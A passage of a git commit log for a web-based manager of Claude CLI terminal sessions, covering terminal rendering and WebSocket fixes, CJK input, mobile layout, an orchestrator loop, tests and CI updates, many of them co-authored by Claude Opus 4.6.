   positions).

2. Skip stale cache write for busy sessions. When a session is actively
   working, the cache is always outdated — writing it first and then
   rewriting with the fresh API buffer caused a jarring double-render
   flash. Now busy sessions get a single clean clear+write transition.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-23 12:32:33 +01:00
arkonandClaude Opus 4.6 a9d83ec4e3 chore: version packages
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-22 23:55:39 +01:00
arkonandClaude Opus 4.6 84137cdba4 chore: version packages
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-22 03:59:27 +01:00
arkonandClaude Opus 4.6 6eb3969816 fix: avoid no-control-regex lint error for ANSI strip pattern
Use RegExp constructor with String.raw to express \x1b without
a literal control character in the source, matching the pattern
used elsewhere in the codebase.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-22 03:57:36 +01:00
arkonandClaude Opus 4.6 de49437a6f docs: add browser-testing-guide to CLAUDE.md references, clarify route count
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-22 03:38:14 +01:00
arkonandClaude Opus 4.6 6a27639083 fix: increase Ink frame search window from 4KB to 64KB to prevent partial frames
Single Ink frames with response content can be 10-20KB, so the 4KB tail
was too small and caused blank gaps. Now searches the last 64KB for VPA
row drops to find the last complete frame boundary.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-22 03:38:09 +01:00
arkonandClaude Opus 4.6 eb1b38c718 fix: align case select group height — stretch buttons to match dropdown
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-22 03:06:15 +01:00
arkonandClaude Opus 4.6 ea7b103b47 fix: prevent stale terminal data on tab switch — add chunkedTerminalWrite cancellation
chunkedTerminalWrite used requestAnimationFrame to write buffer chunks across
frames but had no cancellation. When switching tabs, old session's remaining
chunks continued writing stale data into the new session's terminal, causing
visual artifacts and garbled content.

- Add _chunkedWriteGen generation counter to abort in-flight chunked writes
- Bump gen early in selectSession() and SSE reconnect to immediately cancel
- Guard finish() so aborted writes don't flush SSE queue for wrong session
- Add fitAddon.fit() before buffer writes to sync terminal dimensions
- Add fitAddon.fit() in sendResize() to ensure local/server dim parity

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-22 03:00:58 +01:00
arkonandClaude Opus 4.6 bec8e2f9ee fix: improve history prompt extraction — filter expanded commands, add tail scan fallback
Skip /init expansions, slash commands, orchestrator prompts, ANSI codes, secrets,
and short/vague messages. When head scan finds no usable prompt (e.g. /init sessions),
read last 32KB of transcript to find a recent meaningful user message.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-22 02:42:50 +01:00
arkonandClaude Opus 4.6 2203f3a347 feat: visual redesign — glass morphism, refined colors, polished UI
Modernize the entire UI with a cohesive "refined dark glass" aesthetic
while preserving all existing functionality.

- Header/toolbar: backdrop-filter blur(16px), semi-transparent backgrounds
- Buttons: 6px radius, multi-stop gradients, inner glow, cubic-bezier transitions
- Welcome screen: gradient text title, radial bg glow, pill-shaped buttons with hover lift
- Panels/modals: glass backgrounds, 12px radius, layered shadows
- Color palette: cooler blue-tinted darks replacing flat blacks
- Forms: refined inputs with focus rings, glass toggle switches
- New CSS vars: --glass-bg, --glass-border, --btn-radius, --transition-smooth

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-22 02:24:27 +01:00
arkonandClaude Opus 4.6 867a10d78a refactor: optimize history endpoint — reuse buffer, extract readFileHead, use line iterator
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-22 02:01:56 +01:00
arkon e54d7badc4 chore: version packages 2026-03-22 01:57:49 +01:00
arkon 40dfac3534 feat: improve session history with first prompt + clickable monitor rows (closes #45) 2026-03-22 01:57:17 +01:00
arkonandClaude Opus 4.6 e899a43a18 chore: hide orchestrator button until feature is fully tested
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-22 01:48:11 +01:00
arkonandClaude Opus 4.6 0cab8a7ece fix: stop subagent monitor windows from auto-opening on discovery
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-22 01:44:28 +01:00
arkonandClaude Opus 4.6 7b7cf958c0 feat: add live progress during orchestrator plan generation
New SSE event orchestrator:planProgress streams phase/detail updates
from the planner to the frontend in real-time. The panel now shows
a scrollable log of planning steps instead of just "Generating plan..."

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-21 20:03:24 +01:00
arkonandClaude Opus 4.6 6e64ddd853 feat: add Orchestrator button to toolbar
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-21 19:59:06 +01:00
arkonandClaude Opus 4.6 afea91b92b fix: patch 3 production bugs found during deep audit
1. Post-phase verify timer leak — setTimeout for verifyCurrentPhase was
   never stored, so pause() couldn't cancel it. Timer now tracked in
   postPhaseTimer field and cleared in clearPhasePoll().

2. Event forwarding flag survives loop replacement — boolean
   eventForwardingAttached stayed true when a new loop was created,
   so the new loop never got SSE forwarding. Now tracks the loop
   instance reference instead of a boolean.

3. Replan stuck when no sessions — replanPhase() returned without
   setting up task handlers or polling when no idle sessions were
   available. Now starts polling so the queued task gets picked up
   when a session becomes idle.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-21 19:23:37 +01:00
arkonandClaude Opus 4.6 9449a8f157 test: expand OrchestratorLoop coverage to 60 tests — 17 new deep paths
New coverage:
- Task failure & retry (handleTaskFailed retry when retries < 2)
- Phase error auto-retry (handlePhaseError when attempts < maxAttempts)
- Verification with actual criteria (verifier call, pass/fail flow)
- Verification failure → replan → retry cycle
- Max verification attempts → phase failure
- Multi-phase sequential advancement
- Compact between phases (writeViaMux('/compact'))
- Crash recovery from verifying/replanning/paused states
- Single-task vs multi-task prompt generation
- Team phase sendInput error handling
- Verification session fallback (no sessions → skip)
- taskAssigned, phaseCompleted, phaseFailed event emissions

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-21 19:15:42 +01:00
arkonandClaude Opus 4.6 d322f17f73 test: add 43 deep integration tests for OrchestratorLoop state machine
Covers full lifecycle: start → plan → approve → execute → verify → complete.
Tests state transitions, event emissions, persistence/recovery, pause/resume,
skip/retry, team phase execution, error handling, and edge cases.

Also fixes bugs found during review:
- Route context snapshot: use getter for orchestratorLoop (was null forever)
- Event listener stacking: guard setupEventForwarding with boolean flag
- Replan completion: create tracked TaskQueue task instead of raw sendInput
- Pause cleanup: call cleanupTaskHandlers() on pause
- Phase timeout: add phaseTimeoutTimer enforcement

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-21 15:33:02 +01:00
arkonandClaude Opus 4.6 61b5ec095c feat: add Orchestrator Loop — phased plan execution with team agents
Adds a new autonomous loop that accepts high-level goals, generates
phased execution plans via AI, and executes them step-by-step with
verification gates between phases.

Core components:
- OrchestratorLoop: state machine (idle→planning→approval→executing→verifying→completed)
- OrchestratorPlanner: plan generation via PlanOrchestrator, Kahn's algorithm phase grouping
- OrchestratorVerifier: phase verification (strict/moderate/lenient modes)
- Prompt templates for phase execution, team delegation, verification, replanning

API (10 endpoints):
- POST start/approve/reject/pause/resume/stop
- GET status/plan
- POST phase/:id/skip, phase/:id/retry

Frontend: orchestrator-panel.js with SSE-driven state, phase progress, task tracking

Tests: 22 tests (18 route + 4 unit), all passing. Typecheck/lint/format clean.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-21 07:20:18 +01:00
arkonandClaude Opus 4.6 497ca4891a fix: restore mobile terminal scrollback — use JS scrollLines() instead of broken native scroll
xterm.js DOM renderer doesn't populate .xterm-viewport's scroll area (the div
is empty, scrollHeight === clientHeight), so native CSS scrolling via
touch-action:pan-y and overflow-y:scroll had nothing to scroll. Desktop worked
only because the wheel handler called terminal.scrollLines() directly.

- Replace split mobile/desktop touch handlers with unified JS-driven handler
  that converts touch deltas to terminal.scrollLines() calls (with pixel
  accumulation for slow swipes and momentum scrolling)
- Change touch-action from pan-y to none on terminal elements so browser
  doesn't fight the JS handler
- Remove now-unnecessary xterm-viewport position/overflow/z-index overrides
  and iOS -webkit-overflow-scrolling rules
- Fix _shrinkPaddingToFit() arithmetic (was adding gap instead of subtracting)
- Minor: add route-helpers.ts to CLAUDE.md, fix sse-events.ts comment count

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-20 09:38:18 +01:00
arkon 580b7a3f90 chore: version packages 2026-03-19 12:35:39 +01:00
arkonandClaude Opus 4.6 34c3d8f5ff fix: tighten mobile keyboard layout — eliminate dead space and toolbar overlap
- Remove redundant 50px CSS padding on terminal-container when keyboard visible
- Reduce JS paddingBottom constant from +94 to +84 (exact toolbar + accessory)
- Add _shrinkPaddingToFit() to eliminate terminal row quantization gap
- Add CSS padding-bottom on .main for fixed toolbar clearance (keyboard hidden)
- Match iOS Safari toolbar offset (100vh - --app-height) in .main padding

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-19 12:35:08 +01:00
arkonandClaude Opus 4.6 2491471ba5 fix: prevent mobile page scroll when typing with keyboard open
iOS Safari scrolls the document to bring xterm's hidden textarea into
view when the user types, pushing the entire UI off-screen. Fix with:
- CSS position:fixed on .app when keyboard is visible
- window.scroll listener to reset scroll position as safety net
- scroll reset in onKeyboardShow before and after fit/resize

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-19 11:47:18 +01:00
arkonandClaude Opus 4.6 0c4aac8029 chore: version packages
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-19 10:05:16 +01:00
arkonandClaude Opus 4.6 d436c6375f fix: strip Ink spinner bloat from terminal buffer before tailing
During long thinking phases, Ink's TUI rewrites the spinner/status bar
thousands of times via absolute cursor positioning (VPA/CUP). These
500KB+ of redraw frames pushed real content out of the 128KB tail
window, making the terminal appear empty when switching tabs.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-16 10:55:24 +01:00
arkonandClaude Opus 4.6 e96baf9f66 chore: version packages
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-16 01:42:16 +01:00
arkon 7b8aa529f2 chore: version packages 2026-03-15 03:52:30 +01:00
arkonandClaude Opus 4.6 0ad4e0ea24 fix: correct resolveCasePath priority order and suppress JSON parse warnings
- resolveCasePath now checks linked cases first (matching original behavior
  of /api/cases/:name and /api/cases/:name/fix-plan handlers)
- readLinkedCases only warns on real I/O errors, not JSON parse errors
  (SyntaxError has no .code property, so check for .code existence first)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-15 03:50:45 +01:00
arkonandClaude Opus 4.6 6bc403d88d refactor: clean up case routes DRY violations, remove dead export, standardize reply API
- Extract readLinkedCases() helper and resolveCasePath() to eliminate 6x duplicated
  linked-cases.json path construction and 5x duplicated file read/parse logic
- Replace O(n) .some() duplicate check with O(1) Set.has() in case listing
- Un-export isError() in types/api.ts (only used internally by getErrorMessage)
- Standardize reply.status() → reply.code() in system-routes (Fastify canonical API)
- Update CLAUDE.md: accurate frontend module listing, SSE event count (~106)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-15 03:47:18 +01:00
arkon 1ad05a5a42 chore: version packages 2026-03-14 22:22:52 +01:00
arkonandClaude Opus 4.6 192690911f refactor: extract app.js into 6 domain modules with deferred init
Split the monolithic app.js (~12.5K lines) into 6 focused mixin modules
that extend CodemanApp.prototype via Object.assign:

- terminal-ui.js — terminal setup, rendering pipeline, controls
- respawn-ui.js — respawn banner, countdown, presets, run summary
- ralph-panel.js — Ralph state panel, fix_plan, plan versioning
- settings-ui.js — app settings, visibility, web push, tunnel/QR, help
- panels-ui.js — subagent panel, teams, insights, file browser, log viewer
- session-ui.js — quick start, session options, case settings

Fix deferred script init ordering: wrap CodemanApp instantiation in
DOMContentLoaded so all defer'd mixin modules execute their
Object.assign before the constructor runs. Without this, init() calls
methods like applyHeaderVisibilitySettings() that don't exist yet.

Guard missing cleanupWizardDragging() call in subagent-windows.js.
Update build.mjs to minify/hash all new modules. Update CLAUDE.md
with new frontend architecture and load order.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-14 21:24:22 +01:00
arkon 551461cb31 chore: version packages 2026-03-14 19:26:09 +01:00
arkonandClaude Opus 4.6 c4bae75c59 fix: add onerror handler for lazy-loaded WebGL addon script
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-14 19:23:15 +01:00
arkonandClaude Opus 4.6 88c415fc37 perf: V8 compile cache, lazy-load WebGL, preload hints, batch tmux reconciliation
- Enable NODE_COMPILE_CACHE in systemd service and npm start for 10-20% faster cold starts
- Lazy-load xterm-addon-webgl.min.js (244KB) only on desktop — mobile never downloads it
- Add <link rel="preload"> hints for critical scripts (xterm, constants, app) in <head>
- Replace per-session tmux subprocess calls with single batch `list-panes -a` call
  (N*2+1+M execSync calls → 1 for reconcileSessions)
- Fix CLAUDE.md frontend module count (10 → 11)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-14 19:20:44 +01:00
arkonandClaude Opus 4.6 7175e4b350 docs: update CLAUDE.md and README.md to reflect current codebase
Correct stale counts and add missing entries: route modules 12→13
(ws-routes.ts), frontend modules 9→10 (input-cjk.js), handler count
~111→~114, utilities section expanded, TypeScript badge 5.5→5.9,
frontend extracted modules 8→9.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-14 18:48:25 +01:00
arkonandClaude Opus 4.6 08a417997f ci: upgrade actions/checkout and actions/setup-node to v6 (Node 24)
Replace v4 (Node 20) with v6 (Node 24 native) to eliminate the
deprecation warning. Remove the FORCE_JAVASCRIPT_ACTIONS_TO_NODE24
workaround since v6 doesn't need it.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-14 18:42:22 +01:00
arkonandClaude Opus 4.6 e6cb89b0cd ci: use Node.js 24 runtime for actions and bump release node to 22
Opt into Node.js 24 for GitHub Actions runners (actions/checkout@v4,
actions/setup-node@v4) to silence deprecation warnings. Also bump
release.yml from node 20 to 22 to match ci.yml.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-14 18:40:44 +01:00
arkon d072e773d8 chore: version packages 2026-03-14 18:38:28 +01:00
arkonandClaude Opus 4.6 a649c91b68 fix: WS session lifecycle, reconnection, and CJK session-switch cleanup
- Close WebSocket when session exits (exit event listener) to prevent
  orphaned listeners and stale writes to dead PTY
- Add readyState guard in onTerminal to stop buffering after socket closes
- Simplify heartbeat: remove redundant alive flag, use pongTimeout only
- Add exponential backoff reconnection on unexpected WS close (skip for
  server rejections 4004/4008/4009)
- Clear CJK textarea on session switch to prevent wrong-session input

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-14 18:37:10 +01:00
arkonandClaude Opus 4.6 3383c23099 fix: address code review findings across WS, CJK input, install.sh, and README
WebSocket route: add socket error handler to prevent process crashes, enforce
per-session connection limit (max 5), track/decrement counts on close.

CJK input: add destroy() method with proper listener cleanup, guard against
double-init, add maxlength/aria-label to textarea, use language-neutral
placeholder, explicitly clear cjkActive on hide.

install.sh: fix update() to use $BRANCH and $REPO_URL instead of hardcoded
origin/master — fork users were silently switched back to master on update.

README: fix broken markdown table (paragraph concatenated into last cell),
add CODEMAN_NODE_VERSION to env var table.

Tests: add 8 new test cases for batch coalescing, flush threshold, unknown
message types, connection limit, heartbeat, readyState guards. Import
MAX_INPUT_LENGTH from config, add connectWs timeout, replace setTimeout
with vi.waitFor in cleanup test.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-14 18:27:58 +01:00
arkonandClaude Opus 4.6 c3e1e731ef fix: use generic placeholders in fork install README example
Replace hardcoded contributor fork URL with <user>/<branch> placeholders
so the documentation is useful for any contributor.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-14 18:11:43 +01:00
Ark0N 405b711c3a Merge pull request #41 from douchekr/feat/input-cjk-form
feat: add CJK IME input textarea and fork/branch install support
2026-03-14 18:10:09 +01:00
arkon 4295faefc9 chore: version packages 2026-03-14 18:04:51 +01:00
arkon 93e1ba5110 Merge remote-tracking branch 'origin/feat/ws-terminal-io-upstream' 2026-03-14 18:03:36 +01:00
Ark0N abbbf9e90a Merge pull request #43 from Ark0N/feat/ws-tests
test: add WebSocket terminal I/O route tests
2026-03-14 18:03:04 +01:00
Ark0N 3a41de7b57 Merge pull request #42 from Ark0N/feat/ws-heartbeat
feat: add ping/pong heartbeat to WebSocket connections
2026-03-14 18:03:02 +01:00
Ark0N 8267edc6fe Merge pull request #40 from Spirotot/feat/ws-terminal-io-upstream
feat: WebSocket terminal I/O with server-side DEC 2026 sync
2026-03-14 18:02:55 +01:00
arkonandClaude Opus 4.6 78c568e5f7 test: add automated tests for WebSocket terminal I/O route
16 tests covering session-not-found close code, terminal output with
DEC 2026 sync markers, client input forwarding, resize bounds
validation, malformed message handling, and connection cleanup of
session event listeners.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-14 18:00:55 +01:00
arkonandClaude Opus 4.6 cc624d2575 feat: add ping/pong heartbeat to WebSocket connections
Detect stale connections that TCP keepalive won't catch for minutes,
especially through tunnels and proxies. Pings every 30s with a 10s
pong timeout — if the client doesn't respond, the socket is terminated
and all timers cleaned up.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-14 17:58:50 +01:00
arkonandClaude Opus 4.6 5844720525 fix: validate WS resize dimensions to match HTTP route bounds
The HTTP resize route validates via ResizeSchema (cols: 1-500, rows:
1-200, integers only). The WS handler only checked typeof === 'number',
allowing floats, negatives, and extreme values through to ptyProcess.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-14 17:57:20 +01:00
jayparkandClaude Opus 4.6 393a2d9c28 fix: use BRANCH variable in install.sh no-changes update path
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-14 16:52:28 +09:00
jayparkandClaude Opus 4.6 809bf6a614 fix: use BRANCH variable in install.sh update path
The update path was hardcoded to origin/master. Now uses the
CODEMAN_BRANCH variable and updates the remote URL on upgrade.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-14 16:51:20 +09:00
jayparkandClaude Opus 4.6 da71d8d01c feat: support custom repo URL and branch in install.sh
Add CODEMAN_REPO_URL and CODEMAN_BRANCH env vars to install.sh
for installing from forks or feature branches. Update README with
fork installation instructions and env var reference table.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-14 16:50:06 +09:00
jayparkandClaude Opus 4.6 e5aca6aa4c feat: add CJK IME input textarea with env toggle
Add a dedicated textarea below the terminal for CJK (Korean/Japanese/Chinese)
IME input. xterm.js intercepts IME composition events, preventing composed
characters from displaying correctly. This textarea bypasses xterm entirely
by using native browser IME handling — text accumulates until Enter, then
sends to PTY in one shot.

- Always-visible textarea below terminal (inside .terminal-wrap flex column)
- focus/blur sets window.cjkActive flag to block xterm onData
- Enter sends textarea.value + \r to PTY, Escape clears
- Arrow keys, Ctrl+C/D/L/Z, Tab, Backspace pass through to PTY when empty
- attachCustomKeyEventHandler suppresses xterm key handling during composition
- INPUT_CJK_FORM=ON|OFF env var toggle (default: off, passed via SSE init)

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-14 16:23:25 +09:00
Aaron FieldsandClaude Opus 4.6 ceaf4624a1 feat: add WebSocket terminal I/O with server-side DEC 2026 sync
Replace per-keystroke HTTP POST + SSE terminal output with a single
bidirectional WebSocket connection for dramatically lower input latency.
The existing SSE+POST paths remain fully functional as fallback.

Server-side: ws-routes.ts provides /ws/sessions/:id/terminal with 8ms
micro-batching and 16KB flush threshold. Each batch is wrapped in
DEC 2026 synchronized update markers so xterm.js renders atomically —
Ink's DA capability negotiation fails through the PTY→server→WS proxy
chain, so without server-injected markers, cursor-up redraws flicker.

Frontend: _connectWs/_disconnectWs manage per-session WS lifecycle.
Input and resize use WS fast path with HTTP POST fallback. SSE terminal
events are suppressed when WS is active to prevent double rendering.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-12 21:02:28 -04:00
arkonandClaude Opus 4.6 a6597e4a9a fix: patch 5 dependency vulnerabilities (basic-ftp, fastify, minimatch, serialize-javascript)
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-13 00:26:56 +01:00
arkon f869e823af chore: version packages 2026-03-12 23:59:16 +01:00
arkonandClaude Opus 4.6 8d0b179f94 fix: repair 15 pre-existing subagent-watcher test failures
Root causes:
- Mock readline (EventEmitter) lacked .close() method, causing TypeError
  that blocked extractDescriptionFromFile's Promise from ever resolving
- Mock stream lacked .destroy() method (same issue after .close() fix)
- Entry-processing tests shared one readline mock between description
  extraction and tailing — events emitted before tailFile started were lost
- Liveness checker marked agents as 'completed' instead of 'idle' because
  fixed stat timestamps became stale after fake timer advancement

Fixes:
- Add createMockRl() helper with .close() method
- Use { destroy: vi.fn() } for stream mocks
- Use mockReturnValueOnce() for two-readline pattern in 7 entry tests
- Use mockImplementation() for dynamic stat timestamps

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-12 16:08:39 +01:00
arkonandClaude Opus 4.6 98fa55b7b2 chore: codebase cleanup — remove dead code, consolidate imports, extract constants
- Remove 3 unused exported constants (TRIM_MESSAGES_TO, MAX_TERMINAL_COLS, MAX_TERMINAL_ROWS)
- Consolidate 8 direct util imports into barrel imports (./utils/index.js)
- Extract magic number 8191 to FILE_PEEK_BYTES constant in buffer-limits.ts
- Add explanatory comments to 9 undocumented .catch(() => {}) handlers

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-12 15:50:40 +01:00
arkonandClaude Opus 4.6 c46ac30631 fix: hide subagent monitor panel by default
Change showSubagents default from true to false so the subagent
panel doesn't auto-show on page load. Users can still enable it
via Settings.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-12 15:35:27 +01:00
arkonandClaude Opus 4.6 dfcc14bfd2 fix: one-liner restart command that works for background processes
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-12 15:34:42 +01:00
arkonandClaude Opus 4.6 a068008409 fix: clarify restart instructions — stop first, then start
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-12 15:33:34 +01:00
arkonandClaude Opus 4.6 0aa31f100e fix: show restart command when codeman-web is not a systemd service
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-12 15:31:19 +01:00
arkonandClaude Opus 4.6 314a160458 feat: auto-restart codeman-web service after update if running
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-12 15:23:55 +01:00
arkonandClaude Opus 4.6 e7ee5595c5 feat: auto-detect existing install and run update instead of fresh install
Re-running the install script now detects ~/.codeman/app/.git and
automatically updates instead of re-installing. Removes the separate
`bash -s update` instructions from README since it's no longer needed.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-12 15:09:37 +01:00
arkon 625d4976d3 chore: version packages 2026-03-11 19:37:17 +01:00
arkonandClaude Opus 4.6 d02cddece6 fix: correct claudeSessionId for resumed sessions and clean up DEC sync dead code
Use resumeSessionId for Claude conversation ID when resuming sessions,
increase default font size to 14, extract shared history fetch logic,
and remove unused DEC 2026 sync constants/functions (xterm.js 6.0 handles natively).

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-11 19:36:58 +01:00
Ark0N abbc4b13fd Merge pull request #39 from sunnyzhouy/master
feat: session resume, xterm.js 6.0 upgrade, and resize fix
2026-03-11 19:20:28 +01:00
arkonandClaude Opus 4.6 a14e47e19c chore: version packages
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-11 19:13:49 +01:00
sunnyzhouy 754a966b53 Merge branch 'Ark0N:master' into master 2026-03-12 01:06:14 +08:00
zhouyuan 28dfc279d4 fix: resolve terminal resize scrollback ghost renders
- Switch resize handler to 300ms trailing-edge debounce for single reflow
- Add \x1b[3J (Erase Saved Lines) to clear scrollback reflow debris
- Remove client-side cursor-up flicker filter and DEC 2026 marker
  stripping — xterm.js 6.0 handles synchronized output natively
- Remove server-side DEC 2026 wrapping to prevent premature sync exit
  from non-reference-counted nested markers
2026-03-12 01:04:21 +08:00
arkonandClaude Opus 4.6 da85e9738b fix: iPad tablet toolbar styling and PR #34 refinements
- Scope toolbar bottom-offset to phone breakpoint only (position:fixed);
  prevents double-correction on iPad where toolbar is position:relative
- Extract keyboard accessory bar styles to top-level mobile.css so
  /init, /clear, /compact buttons render correctly on iPad
- Use desktop-style toolbar sizing on tablet (430-768px): smaller font,
  no forced min-height, proper gap between buttons
- Show voice/mic button on tablet (was hidden at <1023px with no
  mobile replacement above 430px)
- Bump CSS cache-bust version to 0.1633

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-11 12:59:47 +01:00
Ark0N 8b8907c4ec Merge pull request #34 from arnlaugsson/fix/ipad-safari-toolbar-viewport
fix: toolbar off-screen on iPad Safari with tabs
2026-03-11 01:26:55 +01:00
zhouyuan 2329dab240 feat: upgrade xterm.js 5.3 to 6.0 for native DEC 2026 synchronized output
xterm.js 6.0.0 natively handles DEC mode 2026 (synchronized output),
which renders Ink's cursor-up redraws atomically at the parser level.
This eliminates split-frame rendering that caused table header loss
and garbled overlapping text in Claude CLI sessions.

- Migrate from xterm/xterm-addon-* to @xterm/* scoped packages
- Update build.mjs and postinstall.js vendor paths
- Remove old xterm 5.x dependencies
2026-03-10 14:59:26 +08:00
zhouyuan 31ce7405a6 perf: increase terminal scrollback from 5000 to 20000 lines
Long-running Claude sessions can exceed 5000 lines easily, causing
earlier content to be lost. 20000 lines retains ~4x more history.
2026-03-10 14:36:10 +08:00
zhouyuan 06f7d40c42 feat: reduce default font size and persist tabs across refresh
- Default terminal font 14px → 12px, min 10px → 8px
- Save tab metadata to localStorage on every render
- Restore ended sessions as dimmed tabs after page refresh
- Ended tabs show "Session ended" message on click
2026-03-10 14:30:21 +08:00
zhouyuan 05eba70598 feat: improve session resume reliability and persist user settings
- Filter empty sessions from history API (check for conversation content)
- Add --resume fallback to new session if resume fails (prevents dead panes)
- Pass resumeSessionId through respawnPane for dead pane recovery
- Persist respawn presets and runMode to server settings (cross-device sync)
- Fix mobile touch handling for Recent Sessions dropdown (DOM API + touch CSS)
2026-03-10 14:03:42 +08:00
zhouyuan d27974ff6e chore: update package-lock.json 2026-03-10 02:23:15 +08:00
zhouyuan 3cca5380ba fix: route shell sessions to correct endpoint on tab click
selectSession() was always calling /interactive for restored idle
sessions regardless of mode. Shell sessions now correctly call /shell.
Also add loadHistorySessions and resumeHistorySession to frontend.
2026-03-10 02:23:10 +08:00
zhouyuan 6d7efc13e6 feat: add history session resume UI and API
Add GET /api/history/sessions endpoint that scans Claude conversation
files for resume. Add welcome overlay UI with clickable history items.
Path decoding validates existence via fs.access with HOME fallback.
2026-03-10 02:23:02 +08:00
zhouyuan 63f86807ad feat: add resumeSessionId support for conversation resume after reboot
Add resumeSessionId field throughout the session creation pipeline,
allowing sessions to resume previous Claude conversations via --resume
flag instead of --session-id.
2026-03-10 02:22:53 +08:00
Skúli Arnlaugsson 2e4e646c06 fix: toolbar pushed off-screen on iPad Safari with tabs
On iPad Safari with the tab bar visible, `100vh` extends behind the
browser chrome, pushing the fixed-position toolbar out of view.

- Add `viewport-fit=cover` to viewport meta tag
- Use `100dvh` with `100vh` fallback for body/.app height
- Set `--app-height` CSS variable from `visualViewport.height` via JS
- Offset fixed toolbar on iOS Safari using the layout/visual viewport delta
2026-03-08 23:54:15 +00:00
arkon 507423b776 chore: version packages 2026-03-08 16:06:51 +01:00
arkonandClaude Opus 4.6 67d0b0b538 feat: add tunnel status indicator with control panel in header
Green pulsing dot in the desktop header shows when Cloudflare tunnel is active.
Clicking opens a dropdown panel with tunnel URL, remote client count, auth
sessions, and start/stop/QR/revoke controls. Detects tunnel clients via
Cf-Connecting-Ip header to exclude local connections from the count.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-08 16:06:15 +01:00
Ark0N 26cfd8b7ef Merge pull request #33 from arnlaugsson/fix/macos-install-platform-deps
fix: move Linux-only native deps to optionalDependencies
2026-03-08 15:55:16 +01:00
Skúli ArnlaugssonandClaude Opus 4.6 208e6bc175 fix: move Linux-only native deps to optionalDependencies
`@remotion/compositor-linux-x64-gnu` and `@rspack/binding-linux-x64-gnu`
are Linux x64 binaries that cause npm install to fail on macOS (arm64)
with EBADPLATFORM. Moving them to optionalDependencies allows npm to
skip them gracefully on unsupported platforms.

Fixes #32

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-07 20:59:57 +00:00
arkonandClaude Opus 4.6 6d52b16edc docs: add zerolag demo video to README
Side-by-side comparison of local echo (0ms) vs server echo (600ms-2.7s)
rendered from Remotion ZerolagDemo composition.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-07 07:43:52 +01:00
arkonandClaude Opus 4.6 4988e85901 docs: add Operation Lightspeed to v0.3.7 changelog
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-07 07:37:22 +01:00
arkonandClaude Opus 4.6 e799c83b39 chore: version packages
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-07 07:34:24 +01:00
arkonandClaude Opus 4.6 0717cfbfec refactor: codebase cleanup — dead code, regex helper, centralized constants, tests
